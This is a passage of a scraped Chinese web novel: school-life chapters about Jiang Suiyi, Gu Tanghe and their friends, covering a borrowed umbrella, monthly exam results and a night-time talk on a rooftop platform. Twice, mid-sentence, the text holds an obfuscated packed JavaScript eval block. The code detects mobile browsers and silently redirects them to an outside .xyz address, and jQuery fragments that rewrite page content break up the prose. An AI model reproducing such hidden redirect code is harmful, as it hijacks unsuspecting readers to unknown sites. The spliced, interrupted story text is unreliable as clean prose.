;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645772|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散去些,夜风从缝隙里钻进来,带着秋日特有的凉意和草木逐渐枯萎的气息。 “意意,”程瑶的声音很轻,靠在床边的梯子上,仰头望着天花板,“我家里情况糟糕,条件差,从小受过不少排挤,一直以来都是和阿爷相依为命。我知道你想帮我,可说实话,面对你们的时候我时常会感到自卑,我没办法就这么坦然的接受。” 她微微偏过头,看向趴在床上的江随意,那双眼睛亮得惊人:“石头缝里钻出来的野草靠自己也能活,风刮不倒,雨冲不走。” “钱的事,我之前就跟姑姑商量好了,她先贷款垫上,但算我借的。她过得也不容易,以后我会连本带利还给她。读书,考出去,这是我选的路,再难我也认了。” 江随意转头看着她。程瑶眼底还残留着哭过的痕迹,可那眼神里的光芒却比任何时候都要坚韧透亮。 那是一种被逼到绝境后,破土而出,哪怕只有一丝微弱光亮也要拼命生长的力量。 程瑶扯了扯嘴角,那笑容依旧有些苦涩,却不再空洞:“所以......别担心我。照顾好你自己,那些让你分神的人和事都先放放。我们各走各的路,但终点,谁也别落下。” 她伸出手,轻轻拍了拍江随意露在被子外的手臂,动作带着一种笨拙的安慰。 掌心温热,带着红花油辛辣的气息。江随意反手握住那只手,千言万语堵在胸口,最终只化作一个简单的音节:“嗯。” 程瑶收回手,重新回到床上拿起笔,摊开练习册,笔尖落在纸面上发出沙沙的轻响,沉稳而持续,像暗夜里一条固执向前流淌的小溪。 她瘦削的脊背挺得笔直,仿佛任何重压都无法再令其弯曲。 江随意依旧趴在床上,腰间的酸痛在药力作用下变成一种沉重的钝感,提醒着她这一天的惊心动魄和筋疲力尽。 陈诺和周望玥回来没多久,宿管阿姨正好拿着查寝表敲了门:“江随意在寝室吗?你妈妈刚才来电话了,等下去电话机那边回一下。” “啊?好的。”江随意从厕所里探出头来,嘴里刚把泡沫漱掉,用毛巾擦了擦。 陈诺:“这么晚了你妈妈找你啥事啊?” “不知道啊。”她从书包里拿出饭卡,然后出门去电话机旁边。 电话机在走廊尽头的拐角处,每次通话还有限时,挂断了又要重打。 “嘟——” “喂?” 叶桐温柔的声音传来:“意意,妈妈看到你饭卡上的支出,下午是去医务室了吗?是不是有哪里不舒服,需不需要请假回来?” “没事,就是不小心磕到了,你别担心。” “行,下回小心点,我等会儿跟你爸也讲下,他估计也看到了。刚往你卡里充了钱,多吃点饭,晚上早点睡。” “好,妈妈晚安。” “晚安。” 江随意盯着屏幕上“通话结束”的字样,挂断后听筒残留的余温仍贴在耳廓上。 她其实还想再和妈妈讲讲话的。 周望玥见她回来,咬着烤肠含糊不清地招呼:“阿姨说什么了?要不要吃章鱼小丸子?” 江随意握拳轻轻给她一下:“没什么,就说往卡里充钱了。我刚刷完牙,你能不能别再诱惑我了。” 16. 冰下涌动 空气里终于有了种湿冷的味道,原来夏天又一次过去了。江随意到教室的时候习惯性地朝最后排瞥了一眼。 那个位置依旧空着。 江随意的心也跟着空了一下,她说不上来这是一种什么感觉。不知道从什么时候起,她总是会不自觉地关注顾橖河,即便中间停歇一年,但再次见面时那些记忆又会被唤起。 谁能忘记一个总在耳边被提起的名字。 起初并不在意,可渐渐像是憋了口气,总要与那个从未见过的人暗暗较劲。 她收回目光,刚在自己的位置坐下,周望玥就像一阵风似的刮了进来,带着一身室外的凉气,书包“咚”地甩在桌上。 “你怎么又来这么早,伤筋动骨一百天啊。” “哪有那么夸张,现在就是有点酸。”江随意把英语书拿出来摊开,“校医说了,多活动活动反而好得快。” “你这撞得还不厉害,到现在还是一片青没消下去,我觉得你还是该去医院看一下。” 周望玥还想再说什么,目光却像被什么吸引了,越过江随意的肩膀,看向教室后门的方向。她带着点压不住的八卦。 “呀,回来了诶......” 江随意几乎是立刻转过头。 顾橖河正从后门走进来。微低着头,看不清表情。校服外套拉链拉到顶,领口竖着,几乎要碰到下颌,整个人裹在一种封闭的沉默里。 他没有看任何人,也没有任何多余的动作,像一道无声的影子,径直走向那个空了两天的位置。 早读课嘈杂的背书声成了背景音。顾橖河垂眼看着摊开的课本,一动不动,只是偶尔目光会不经意地抬起来,望向前方。 课间操的铃声响起,走廊上瞬间变得拥挤喧闹。 “意意,快点跟上!”周望玥的大嗓门穿过人群,“今天是段长值日,他已经在楼下等着了。” 江随意应了一声,正想加快步子,身后却被人撞了一下,腰侧猛地一抽,疼得她顿住脚步。 就在这时,一股力量从侧面轻轻托了一下她的手臂。那力道很稳,分担了她身体的部分重量,让她几乎踉跄的身形稳住了。 “谢……”江随意刚吐出一个字。 他已经若无其事地收回了手,快走几步,迅速融入了前面的人流,背影很快就被更多穿着同样蓝白校服的身影淹没了。 只有手臂肘弯处,似乎还残留着一丝属于另一个人的体温。 “怎么话变得这么少。”江随意小声嘀咕着,她还记得当初江随和那被刷屏的朋友圈,没想到一年过去就完全变了个人似的。 下午最后一节课的铃声响起,像是卸下了所有人紧绷的弦。教室里瞬间活跃起来,他们终于迎来了两周一次的社团课。 “意意,你真不去我们声乐社听听?今天要排练新谱子呢。”周望玥一边收拾东西塞进书包里,一边探身过来问,眼神带着点怂恿。 江随意摇摇头,指了指摊在桌面上写得密密麻麻的草稿纸,语气里是惯有的平静:“不了,物理试卷还有两道大题没写完,等之后游学回来,我估计又要请一段时间的假去集训。” 周望玥了然地点点头,背上包:“行吧,那我们先走啦,你多注意点,别坐太久了。” “走啦意意。”几个女孩子同她打招呼。 江随意朝她们笑了笑,点点头。 大家的身影消失在门口,教室里一下子空旷冷清下来。只剩下稀稀拉拉几个人,各自占据着角落,埋头于书本或试卷。 江随意翻出那张让她头疼的物理卷子,她强迫自己沉下心,笔尖在草稿纸上划拉着,试图重新建立思路。 公式写了又划掉,草稿纸的空白处迅速被凌乱的演算填满,思路却依旧在原地打转。 时间在窗外隐约传来的社团喧闹声中悄然流淌。 “方向错了。”一道微哑的声音在身侧响起,顾橖河不知何时站在了她桌边,修长的手指点了点她的卷子:“假设水平电场中运动时间为......” 江随意抬头,对方微微俯身,目光落在她画的图上,眼神专注。 “啊?”江随意一时没反应过来,顺着他的指尖看去。 顾橖河没再多话,直接拿过她手边一张空白的草稿纸,在纸上快速而清晰地画了起来。 他画图的动作很利落,线条干净流畅。 “初速度沿a方向和垂直方向分别分解为......” 江随意被堵塞的思路豁然开朗。 “啊,我知道了。”她盯着那张图,之前所有的混乱都找到了症结。 江随意几乎是本能地脱口而出:“你之前上课的笔记能借我看看吗?”话一出口,她才意识到这请求有些突兀。 顾橖河动作顿了一下,抬眼看她,那双眼睛里没有什么明显的情绪。 他没有立刻回答,只是将那张画好的分析图推到她面前,转身走回自己的位置。 就在江随意以为顾橖河不会理会时,他拉开椅子坐下,从抽屉里拿出一个黑色的笔记本。 那笔记本看起来有些厚度,他翻到某一页,手指按在书页上略微停顿,似乎是在确认内容。 然后他站起身,重新走到江随意桌旁,将它放在了她堆满草稿纸和试卷的桌面上。 “这页。”顾橖河的手指点了点翻开的那一页,上面是整齐的公式推导和典型例题的图解,笔迹清晰有力。 “谢谢。”江随意接过笔记,心里那点因他沉默而起的忐忑才稍稍落下。 顾橖河没再说什么,只是微微颔首,转身又回到了自己的位置上继续动笔做题。 其余留下自习的几个同学来回对视,八卦之心在渐渐燃起。 楼下的喧闹似乎被一层无形的膜隔开,教室里只剩沉淀下来的宁静,以及一种小心翼翼的靠近。 放学的铃声终于敲响,余音在走廊里回荡,带着一种催促的意味。 教室里仅剩的几个同学也迅速收拾好东西,脚步匆匆消失在门外。 厚重的云层低低压下,酝酿了一天的雨终于落了下来。世界被笼罩在一片湿漉漉的灰调里,秋风裹挟着雨水的凉意,从敞开的窗户里吹进来。 江随意整理好东西,习惯性地往包里一摸——空的。她这才想起,早上出门前饭卡找不到,就把包里的东西倒出来翻了个遍,伞怕是落在寝室里了。 “完了。” 教室里只剩下她和顾橖河。对方已经收拾好,站在后门边,手里拿着一把黑色的长柄伞,伞尖轻轻点着地面,似乎在等待什么。 “你不走吗?” 江随意叹了口气,声音里带着点懊恼:“我忘记带伞了。” 顾橖河的目光在她脸上停留了片刻,扫过她随意扎起的马尾,几缕碎发贴在颈侧。他问道:“去食堂?” 她怔了一下,摇摇头道:“本来想先回寝室洗个头的,不然晚上怕来不及。” “那走吧。”他再次开口,声音却比刚 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他终于有了反应,微微偏过头看了她一眼,语气平淡:“没事。” 沉默在伞下蔓延,只有雨声作伴。但这沉默并不令人窒息,反而像一层薄纱,包裹着某种心照不宣的试探。 那些困扰她的题目在脑海中重新浮现。 她想要打破这沉默,似乎也只有这个话题,能够连接起此刻伞下的距离。 “那道电势能变化的题,”江随意开口,声音在雨声里显得很轻,“我看你笔记上的推导,好像还有几种方法,看起来要简洁很多。” “嗯。” 这个回应像是一点微弱的火星,点燃了江随意继续下去的勇气。 她一边说,一边在脑海中飞快地整理着思路,那些复杂的公式和物理情景在叙述中渐渐变得清晰。 江随意讲得很认真,语速不自觉地加快了些。 顾橖河一直沉默地听着,微微侧过头,目光平静地落在她脸上。她的脸颊因为专注讲题和微快的步伐而透着一点薄红,眼睛却很亮,笑容自信明艳。 这样的江随意他许久未见过。 江随意正讲到关键处,忽然感觉到他的视线,声音停了一下,下意识地抬眼,撞进了他的目光里。 那双眼很沉静,没有探究,没有疏离,只是安静地看着,像在看一个熟悉的谜题。 “会不会觉得累?” 他的声音忽然响起,低沉而清晰,穿透了伞外的雨声。 问题来得如此直接,江随意愣住了,抱着书包的手指无意识地收紧。 她深吸了一口带着凉意和水汽的空气。 “跑起来的时候,就顾不上累了。” 就在以为顾橖河不会再开口时,他突然换了个话题:“有目标的大学吗?” “我......”江随意被问住了。 两旁的路灯忽然亮了起来。 “到了。” 女寝宿舍就在眼前。 “嗯。”顾橖河没有继续,只是应了一声,目光随着她移动,又道:“笔记不用急着还,要是有不明白的可以一起讨论。” 江随意脚步顿住,回头看他。那双眼睛在明暗交错的光线下,似乎不再是一片沉寂的深潭。 心底好像有什么东西在极其缓慢地涌动,像初春冰面下悄然汇聚的水流。 她说不清那具体的情绪。 17. 一把雨伞 顾橖河站在原地,直到那抹身影彻底看不见才缓缓收回目光。 返回的路似乎比来时短了许多。 “阿橖?” 顾橖河脚步一顿,循声望去。秦择舟打着伞,正从食堂里出来,手里还拎着个装了饭盒的塑料袋。 秦择舟走近,瞧见他肩上的湿迹,乐了:“你这是几岁了,连伞都不会撑?” 顾橖河连眼皮都没抬:“做个哑巴挺好的。” “没大没小。”秦择舟懒得跟他掰扯,“你这样穿着多难受,走,先去我宿舍找件干衣服换上。”见他是往食堂去的,又问:“还没吃?” 顾橖河没吭声,算是默认。 “这下课老半天了,干饭都不积极。”秦择舟把袋子往他手里一塞,“等着。”说完转身又回食堂。 也就三四分钟,秦择舟就出来了,手里端着份打包好的饭菜,几步小跑钻到顾橖河的伞下。 “为什么不去门口等,一个人撑伞站在这里是什么很酷的行为吗?”秦择舟那张嘴又开始不饶人。 顾橖河看着硬挤进来的他,皱眉:“你不是有伞?” “蹭你一下伞怎么了?”秦择舟理直气壮,“哥还给你买饭了呢。” “咱下次能换个大点的伞吗?挤得慌。” “你可以撑自己的,还有,这是你买的伞。” 教师宿舍是老式的单元楼,有些老师一家几口都住这里,此时楼道里正弥漫着饭菜香。 秦择舟的宿舍在二楼,不大,但收拾得干净整洁,书架上堆满了书。他从衣柜里翻出一件干净的灰色连帽卫衣扔给顾橖河:“新的,没穿过。” 顾橖河接过卫衣,是干燥柔软的棉质触感。他默默脱下湿冷的校服外套,里面贴身的短袖肩头也浸湿了一片,紧贴着皮肤。 他背过身,迅速换上了那件宽大的卫衣。干燥温暖的布料瞬间包裹住微凉的皮肤,驱散了湿气带来的不适。 秦择舟拿着他的湿校服去阳台挂了起来,然后倒了杯热水递给他:“先喝点热的暖暖。” 顾橖河接过水杯,温热的触感从掌心蔓延开来。他低头看着杯中袅袅升起的热气,没说话。 秦择舟在他对面的椅子上坐下,目光落在他脸上,语气温和:“最近......感觉怎么样?看你今天话好像比平时多了点。”他顿了顿,像是在斟酌用词,“我是说,跟别人交流这块儿。” 对方平静的关切,像兄长,也像朋友。他沉默了几秒,才低低开口:“还好。” “那就好。”秦择舟点点头,没有继续追问,话锋自然地一转,“不过,你这天天晚上走读,路上时间不短,尤其碰上这种鬼天气,挺折腾的。”他指了指窗外依旧哗哗作响的雨,“早上赶早自习也辛苦的吧?” 顾橖河没否认,只淡淡“嗯”了一声。 “要不,”秦择舟身体微微前倾,语气更认真了些,“考虑办个住宿?也不用全天住,就午休用。中午起码能有个地方踏实躺会儿,不用趴在课桌上凑合,下午上课精神也好点。你觉得呢?” 照目前的状况,秦择舟是不奢求顾橖河能够同意住校,但也不希望他总是一个人的。 以前这小孩多能交朋友啊。 既然他愿意回来了,那就一步一步重新开始。 办住宿?顾橖河微微一怔。 这个念头并非没出现过,但总被各种无形的顾虑压了下去。宿舍意味着集体生活,意味着更近的距离和无法避免的交流,那对他而言,是比走读更耗费心力的“折腾”。 他下意识地抗拒那种被包围的感觉。 “再说吧。”他垂下眼,盯着杯中晃动的水面,声音没什么起伏,听不出情绪。 秦择舟看着他,少年身上的疏离感,如同无形的壁垒将自己与他人隔绝。 他没有再劝,只是轻轻拍了拍膝盖:“行,你自己考虑考虑,我就是提个建议。先吃饭吧。” 女寝。 卫生间里弥漫着洗发水的暖香,江随意擦着湿漉漉的头发从里面出来,发梢还在滴水,弄湿了肩上搭着的毛巾。 “意意,快老实交代。”周望玥一个箭步冲过来,双手按在江随意肩膀上,语气激动,“我在食堂里听人说下午你和顾橖河在一块讨论题目来着,他还借你笔记了。刚才也是他撑伞送你回来的是吗?” 程瑶正把衣服收回来,闻言抬头看了她们一眼,无奈地摇摇头,眼里却带着笑意。 陈诺把手里的东西放下,也好奇地凑过来。 江随意被周望玥晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651619|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有点晕,拍开她的手:“你小声点!就是早上找饭卡的时候把伞拿出来忘记放回去了,碰巧他还没走,送了我一段路。” “我刚回来那几天,不也天天借你笔记。” 她从柜子里拿出吹风机,准备出去吹头发。 “碰巧?”周望玥跟着她出门,“咦~他什么时候对别人也‘碰巧’一下?”她促狭地眨眨眼,拖长了尾音。 “上回看他帮着一块打篮球感觉也挺好相处的,结果还是没讲几句话。” 吹风机呜呜地响起来,温热的风扑在脸上,江随意借着噪音掩饰自己微微发烫的脸颊。 “那你下次也别带伞,说不定就巧上了。”她拨弄着头发,声音透过风声传出来,显得有些模糊,“但他的话......是挺好相处的。” 周望玥捕捉到她语气里那点微妙的波动,嘿嘿一笑:“啊,是挺好相处的呐,就是说,咱还没相处上而已。” 江随意没好气地白了她一眼,把风力开到最大档,迅速将上面的头发吹干。 “话那么多,回去吃饭了,我要饿死了。” 时间在忙碌的学业中悄然流逝,转眼又到了周六。 程瑶拒绝了她们的邀请,向宿管阿姨报备申请了留校。放学回寝室时却发现江随意和周望玥正躺在各自的床上。 “你俩还没走啊?”程瑶有些惊讶地问。 周望玥翻了个身坐起来:“这不是还没试过周末留校嘛。” 江随意慢悠悠应了一下。 正说着,陈诺拎着两大提保温桶风风火火地推门进来,把东西往小桌子上一放,声音清脆:“开饭了开饭了!” 程瑶看着那些东西,又抬头看看她:“刚才你走那么快,不是回家吗?” 陈诺一边麻利地打开保温桶的盖子,一边回道:“去门口拿饭了,我爸妈知道这周末不回去给我们送了餐,反正我家里是开饭店的,管够啊。” 周望玥也迅速从床上下来,踩着拖鞋上前把小桌子挪到中间去。 “听说接下来一段时间都不会下雨了,咱们等会儿吃完可以去操场上逛逛。” 程瑶看着眼前热热闹闹的场景,心里微微一动。她没再继续问下去,只是轻轻“嗯”了一声,嘴角不自觉地弯了弯。 18. 江河的水 月考结束后的第一个周一,平日里课间喧闹的追逐打闹声都低了下去,取而代之的是频繁投向教师办公室方向的视线。 江随意坐在自己的位置上,桌上的玻璃杯里,热水已经凉透了。 “意意,”周望玥从外面小跑进来,脸颊因为跑动微微泛红,“公告栏那边贴成绩了。” 教室里静了一瞬,随即响起一片骚动和椅子摩擦地面的刺耳声音。江随意深吸一口气,合上习题册,也跟着人流走了出去。 公告栏前已经围了好几层人,黑压压的一片脑袋攒动着,像一片急于啄食的鸟群。 她踮起脚尖,目光努力越过前面人的肩膀,在那密密麻麻的名单上寻找。 第七名。 这是上高中以来,江随意第一次掉出前三的位置。 她平静且坦然地接受了。 “卧槽,顾橖河也太牛了吧?” “意料之中,当初的县一可不是吹的。” “哎,你们看江随意。”另一道惊叹声响起,“我想知道她脑子是什么构造啊?咱八月开课她就没来,后面一直在搞竞赛停课好久,落下那么多文化课,这还能排第七!” “竞赛生果然底子厚。” “能兼顾成这样,她是真厉害。” 人群渐渐散开,江随意仍在原地看着公告栏上的名字。 身后浅浅清爽的皂香不动声色地侵入她的感知范围,但她没有立刻回头。 “跑不动的时候,”顾橖河的声音响起,平淡得没有一丝波澜,“停一下也没关系。” 这既非安慰,也非嘲讽,似乎只是在陈述一个事实。 跑不动......停一下? 她最近确实像一台超负荷运转的机器,竞赛集训、落下的课程、程瑶的事、还有那些理不清的关于未来道路的迷茫......所有的一切都像沉重的沙袋绑在腿上,让她每一步都迈得无比艰难。 就在这时,上课的铃声打破了两人之间微妙的氛围。 江随意转过头正想说些什么,却发现周望玥站在离他俩不远处,假装四处张望,时不时瞥来一眼。 结果明明在意料之中,江随意也选择接受。但随时间的发酵,晚自习时的课像某种煎熬的具象化。 讲台上,老师语速飞快地分析着月考试卷最后那道让大多数人折戟沉沙的大题,复杂的受力分析图和密密麻麻的公式爬满了整块黑板。 一股说不清道不明的烦躁,像藤蔓一样悄然缠紧了心脏。她强迫自己盯住黑板,试图抓住老师话语的尾巴。 “......所以这里,粒子进入磁场时的初速度方向是关键,分解一定要准确......”物理老师敲了敲黑板,强调道。 突兀地一声脆响,引得所有人看来。 江随意桌上的玻璃水杯,不知怎么被碰倒摔在了地上。透明的玻璃四分五裂,碎片和没喝完的水溅开,在她脚边漫开一小片狼藉。 教室里瞬间安静下来,几十道目光齐刷刷地聚焦在她身上。窘迫的热意“轰”地一下涌上脸颊,江随意僵在位置上,手指无措地攥紧了笔。 “没事,下次小心点。”老师皱了皱眉,赶紧提醒,“下课记得打扫干净,小心别扎到。好了,我们继续看下一题......” 短暂的插曲很快过去,课堂的节奏重新接上。但江随意的心跳却失了序,耳朵里嗡嗡作响,老师后续的讲解彻底成了模糊的背景音。 漫长的晚自习在铃响的那一刻终于结束,带着一种解脱的意味。 “意意,你不走吗?”周望玥背起书包,看向门口已经在等的程瑶和陈诺。 江随意朝门口招招手:“我还有一道题要归纳,弄完就回去,你们先走吧。” “行,那你夜宵想吃什么?” 她把自己的饭卡递给周望玥:“煎饺,大份的,要辣醋。” “好嘞。” 江随意动作很慢,像是刻意拖延着离开的时间。 直到所有人走光,她把最后几本书塞进书包,拉链拉上的声音在安静的教室里显得格外清晰。 刚拐过楼梯转角,脚步却不由得顿住了。 走廊尽头靠近楼梯口的阴影里,一道颀长的身影安静地倚着墙。 顾橖河不知在那里站了多久,微垂着头,灯光只吝啬地照亮他半边轮廓,另一半隐在墙壁的深影里。 江随意迟疑地停在原地,鼻间似乎又隐隐闻见那个人身上干净清爽的气味。 似乎是听到了她的脚步声,顾橖河抬起头。 “聊聊?” 声音落在寂静的楼道里,没有寒暄铺垫,透着一股不容拒绝的平静。 江随意看着他,竟然鬼使神差地点了点头。 教学楼与教学楼的连接处搭建了一个高高的平台,原本是供艺术生开嗓练习的空地,但也会有很多人早早来这边背书。 平台上空旷而安静,秋夜里的风毫无遮挡地扑面而来。 远处,稀疏的灯火在墨色的夜里明明灭灭,勾勒出低矮楼房的轮廓。更远处,是那条沉默流淌的大江,在月光下反射着银光。 江河县是一个很小很小的县城,小到稍微站高点就能看到它的全部。 顾橖河走到护墙边停下,江随意则在他身后几步远的地方站定,夜风吹得她校服外套鼓胀起来。 两人之间隔着一段不远不近的距离,沉默在风里游走,却并不尴尬,反而有种奇异的松弛感。 “考差一次世界又不会碎。” 江随意将外套拉链拉到底,没有回答。 她当然知道他在说什么——课上摔碎的玻璃杯,狼狈又失控的瞬间。 那是她短暂失序的外显。 “碎了就补。”顾橖河转过身,“我是说...” “是水杯碎了。”江随意忽然出声打断,神情坚定,“不是我碎了。” 她内心堡垒的基石依旧坚固,只是风雨袭来,难免会有被迷了眼的时候。 风吹动她鬓角碎发,一点星火般的悸动突然烫过心口,周遭安静,顾橖河的心底却起了无声的躁动。 “江随意。” 他看着她,笑意直达眼底。 片刻后,他收了笑,又问:“江随意, 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这个完全偏离常规思路的问题,让顾橖河明显愣了一下。他有些意外和不解,似乎没料到她会抛出这样一个不着边际的念头。 江随意没等他消化完,也没期待他的回答。她像是终于找到了一个宣泄的出口,目光越过他,重新投向夜色中那条隐约可见的江河。 “你知道我当初为什么要放弃A中提前招考试吗?”她自顾自地说了下去,“除了那点想叛逆的心思,想看看我妈会不会真的生气……” 她微微停顿了一下,似乎在组织更准确的措辞:“是我不想离开这里。” 江随意没有和任何人讲过。 从小去过太多的地方,但唯有江河县能让她心安。在这里,有她的家人、朋友,有她的所有。 她掰着手指数着现在拥有的一切,语气渐渐染上依恋,最后化作一声极轻的叹息。她害怕离开,害怕像以前一样待上一段时间就又要告别。 江河的水一直流淌,日日夜夜,从不停歇。它像无声的挽留,让江随意始终过不了那一关。 这近乎剖白的话语,将内心深处那份隐秘的眷恋与怯懦袒露出来。 顾橖河默默地听着,目光在她脸上停留了很久。 和此刻流露出迷茫和柔软的女生不同,他印象里的江随意一直是自信张扬的。 可这也是江随意。 他没有打断,只是在她被风吹得微微缩了一下肩膀时,从校服口袋里摸出了一小包纸巾递给她。 动作很自然,带着无声的关切。 江随意看着那包突然出现的纸巾,怔了一瞬。 风吹得眼睛确实有点发干。 她抬手,指尖无意间轻轻擦过顾橖河递纸巾的手指。 这短暂的触碰让两人都顿了一下。 “谢谢。”江随意接过纸巾,没有遮掩擤了一下鼻涕,闷着声音说:“我没哭,就风吹的。” “嗯。” 顾橖河收回手,身子往旁边侧了一下。 沉默重新笼罩下来,像江河的水,平缓地流淌在两人之间。 19. 一些秘密 “那边!谁在那儿?!” 一束雪亮的手电光柱蛮横地劈开平台的昏暗,精准地钉在两人身上。光晕里,灰尘无所遁形地狂舞。 江随意怔愣一秒,用力吸了一下,然后回头:“啊?” “哪个班的?晚自习结束老半天了还不回寝室,在这里做什么?”脚步声咚咚咚地由远及近,踩碎了平台上那点微妙的宁静。 那光太刺眼,江随意下意识地眯起眼,抬手挡了一下。脑子里的迷茫混乱被这突如其来的“抓捕”冲得七零八落。 “高二(3)班,江随意。”她放下手,迎着光站直了。 顾橖河比她慢了半拍,似乎刚从某种思绪里拔出来,声音有点沉:“高二(3)班,顾橖河。” “江随意?顾橖河?”手电光稍微往下压了压,值班老师那张严肃的面孔清晰起来,是高二段段长武老师。 他眉头紧锁,目光像探照灯一样在两人之间来回扫射,重点落在他们之间那不远不近的距离上。 “早恋”的雷达正在疯狂作响。 武老师的声音陡然拔高,带着一种“人赃并获”的笃定:“我就说最近怎么总有人反映这边晚上有动静,你俩躲在这黑灯瞎火的地方干什么呢?啊?” “别人都奔夜宵去了,你们在这做什么?别跟我说是在讨论人生聊聊理想?” “差不多吧。” 在顾橖河开口前,江随意就已经应了下来,他们刚才聊得也没差吧。 武老师:“心愿墙上写写暴富,现在大晚上又开始思考哲理,糊弄谁呢。” “那......聊学习。”江随意答得飞快,甚至微微侧过头,瞥了一眼身旁顾橖河。 顾橖河接收到她的目光,喉结不明显地滚动了一下:“嗯,讲题。” “聊学习?”武老师显然不信,将手电的光打暗了几分,走近,“聊学习用得着跑到这犄角旮旯?”他目光扫过江随意手上那包纸巾,那意思不言而喻——鬼鬼祟祟,必有猫腻! 江随意看着武老师脸上那混合着“终于抓到业绩”和“痛心疾首”的复杂表情,带着点实事求是的探讨意味再次开口:“老师,我们要是真有点什么,是不是得找个更暖和的地方?” 她顿了顿,似乎认真思索起来:“比如学校小树林?或者体育器材室后门?怎么也不能在这里吹大风吧。” 武老师被她这过于坦荡甚至带了点“专业建议”意味的反问噎得一滞,脸上的笃定裂开一道缝。 他抓过不少早恋的“现行犯”,支支吾吾的、百般抵赖的都有,唯独没见过这么冷静分析“作案环境”的。 顾橖河站在旁边,嘴角绷紧了一瞬,像是在极力克制笑意。 他低头看了一眼身旁这个语出惊人的女生,夜色掩去了她大半神情,只留下一个轮廓清晰的侧影。 狐疑地目光又在两人脸上扫了扫:“真没谈恋爱?” 方才还冷静坦然的江随意忽然卡了壳,直到武老师皱着眉怀疑,顾橖河才上前一步将人挡在身侧。 “没谈。” 江随意看着面前的身影,那些说不清的感觉像细小的气泡,咕嘟咕嘟地从心底冒上来。 武老师最终重重哼了一声:“你们这个年纪要是真有点什么懵懂情愫也是正常,但忍一忍,目光放长远点,高二现在正是关键时期。” 毕竟是高二段段长,对这两个学生也是有所耳闻的。 “你俩成绩那么好,咱再加把劲,往后爱咋谈咋谈。行了,下次讨论去班里,别跑这吹风,实在有难题去办公室里待着也行。” “赶紧回去吧,等会儿熄灯了。” 武老师的手电光终于消失。 “走吧。” “嗯。”江随意没再看他,转身走下平台。 刚才武老师那句“懵懂情愫”像颗小石子投入湖底,她用力吸了口气,想把那点异样呼出去。 脚步声在走廊里回响,一前一后,保持着刚刚好的距离,谁也没再说话。 周六上午最后一节课上躁动着难以按捺的雀跃,窗外的阳光斜斜地打进来,一切都是暖融融的。 陈老师在讲台上布置接下来的学习任务,再提及游学时,已经有不少人兴奋起来。 “我们高二段地理实践课程目前是被分在徽州,总共三天两晚,时间定在下周五,周日结束直接返校。” 徽州? 这个词在江随意脑子里转了两圈,最终也只是和其他嘈杂一起沉了下去。 叶桐临时要出差,这周末江随意准备住到北江去。附近几个学校都卡着点放学,她好不容易挤上一辆是开往北江方向的公交车,车厢里闷热拥挤。 终于等到其他人陆续下了车,她找了个靠窗的角落,把书包抱在怀里。 虽然公交车的时间长了点,但她仍不想麻烦江渐明特意来一趟。 车子驶上横跨大江的江河大桥,视野骤然开阔。 车厢的摇晃成了催眠曲,疲惫感泛了上来,沉甸甸地压着眼皮。江随意靠着冰凉的玻璃窗,桥栏杆的阴影飞速划过。 就在这单调的令人昏沉的午后暖意里,她终于撑不住,头一点一点地垂下去,彻底陷入了昏昏欲睡的混沌之中。 窗外,北江的轮廓在模糊的视野里若隐若现。 江随意推开门,厨房传来锅铲碰撞的轻响,还有程遇哼着不成调小曲的声音。 “程姨?”她放下书包,探头朝厨房喊。 程遇系着围裙从厨房出来,手里还端着盘刚炒好的青菜:“回来了?赶快去洗手,饭马上好了。你哥也刚到,在房间里呢。” “我爸和星星呢?” “鸡蛋不够了,你爸下楼去买,星星也跟着一块去了。”程遇笑着接话,端出一碗热气腾腾的排骨汤,“最近学校里伙食怎么样,这几天降温了晚上睡觉冷不冷?明天让你爸送你回去,再带床被子。” “不用啦,那被子刚刚好。”程遇的关心让江随意紧绷的神经稍稍放松下来,她看着满桌子的菜,幸福感油然而生。 “好香啊程姨。” 程遇被她夸得笑意在眉眼间漾开:“这嘴甜的,行了行了,去喊你哥过来吃饭。” “好。” 房间的门虚掩着。 她推开,只见江随和背对着门口,正蹲在一个敞开的箱子前,似乎在整理东西。阳光透过玻璃窗,暖洋洋地洒在他身上。 地板上散落着一些书本和旧相册,还有几件叠得整整齐齐的衣服,那是北江 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他沉默了几秒,目光落在照片里顾橖河那张笑脸上,眼神变得有些复杂。 “你不知道吗?” 江随意好几次都想问,却始终没有合适的机会开口。 他合上相册,轻轻放到一边:“我知道。” “他怎么样了?” “我说不上来。”江随意的回答带着点她自己都没察觉的烦躁,“跟以前完全不一样了。一开始冷冰冰的,话少得可怜,感觉像换了个人。但后面又......反正很奇怪。” “哥,”她往前凑了凑,急切又困惑,“到底发生了什么?你俩之前关系不是挺好的吗?” 江随和垂下眼,声音低下去:“毕业后没多久我们就没联系了。” “刚开始大家还在群里聊得挺热闹,约着打球、爬山。再后来,他就不怎么说话了,紧接着又退了群。电话打不通,什么消息也不回。” 江随和停顿了一下,似乎在回忆那段空白:“我们几个关系要好的,都去他家找过,但家里一直没有人。” “对了,那天还遇到你初中班主任了,他以前好像是阿橖爸爸的学生,当时他匆匆忙忙的也没具体说,只是让我们暂时别去打扰阿橖。” 江随意的心提了起来。 他抬起头,看向江随意,眼神里有种无能为力的沉重。“后面我们从附近邻居那里知道,因为暴雨,江河大桥上出了严重的车祸,阿橖父母去世了。 “是......”江随意难以置信,“毕业后在阿爷家那次吗?” 